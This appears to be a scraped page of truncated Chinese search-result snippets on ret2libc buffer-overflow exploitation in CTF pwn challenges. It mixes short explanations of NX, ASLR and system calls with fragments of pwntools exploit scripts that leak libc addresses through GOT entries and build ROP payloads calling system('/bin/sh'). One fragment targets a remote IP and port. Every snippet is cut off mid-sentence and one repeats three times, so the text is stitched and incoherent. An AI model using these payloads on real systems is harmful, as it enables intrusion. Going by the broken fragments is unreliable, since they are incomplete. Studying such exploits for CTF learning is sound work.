现在的情况就是没有调用system函数,没有string"/bin/sh",而且有NX保护,所以就要使用ret2libc,ret2libc属于system函数,动态连接库中的函数之间相对偏移是固定的。即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变 思路: 1、泄露ret2libc_32 任意一个函数的位置 2、获取libc的版本号 ...
这里一般会将libc_base的值打印出来,如果后三位是0,那么证明我们计算的是没有问题的 那么现在我们可以继续构造第二段payload了 代码语言:javascript 代码运行次数:0 运行 AI代码解释 payload2 = 'a' * padding payload2 += p64(pop_rdi_ret) payload2 += p64(bin_sh_addr) payload2 += p64(system_addr...
#在程序运行了该函数之后,got表里就有read函数真实地址了vul_adr=0x401196#由于每次加载程序libc基地址都会变化,#所以我们整个爆破过程必须一气呵成,在泄露之后回到vuln再次发起爆破pop_rdi_ret=0x4012c3#这个地址和vuln地址倒不是随机的,可以直接在IDA看offset=0x28#栈溢出填充的垃圾数据的字节数payload=b'a'*o...
早期的X86指令集中并没有专门给系统调用提供指令,所以Linux中采取软中断int 0x80的方式发起系统调用,缺点是软中断的调用耗时较长,尽管后续指令集中添加了系统调用指令(32位:sysenter sysexit,64位:syscall sysret),但是不同位下的系统调用的指令并不相同,这对于程序而言是...
frompwnimport*fromLibcSearcherimport*context(log_level="debug")p = process("./x64_ret2libc")# p = remote("192.168.154.176",8888)e = ELF("./x64_ret2libc")# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")write_plt = e.plt['write']write_got = e.got['write']main =0x0000000...
对于现代CPU而言,通常会采用冯诺依曼架构,少数使用ARM-v7指令集的CPU会基于哈弗架构实现。2种架构的区别在于,哈弗架构中指令和数据的保存区域是分开的,数据区是不可执行的,而冯诺依曼架构中并没有将指令和数据进行区分。 基于冯诺依曼架构实现的CPU为了保障系统的安全性,采用添加不可执行位到页表中,使得内存管理单元MM...
frompwnimport*#r = process('./ret2libc')r=remote('1.95.36.136',2121)libc=ELF('./libc6_2.23-0ubuntu11.3_amd64.so')elf=ELF('./ret2libc')padding=120puts_plt=elf.plt['puts']puts_got=elf.got['puts']main_addr=0x400666pop_rdi_ret=0x0400753payload=b'a'*paddingpayload+=p64(pop_rd...
现在的情况就是没有调用system函数,没有string"/bin/sh",而且有NX保护,所以就要使用ret2libc,ret2libc属于system函数,动态连接库中的函数之间相对偏移是固定的。即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变 思路: 1、泄露ret2libc_32 任意一个函数的位置 ...
现在的情况就是没有调用system函数,没有string"/bin/sh",而且有NX保护,所以就要使用ret2libc,ret2libc属于system函数,动态连接库中的函数之间相对偏移是固定的。即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变 思路: 1、泄露ret2libc_32 任意一个函数的位置 ...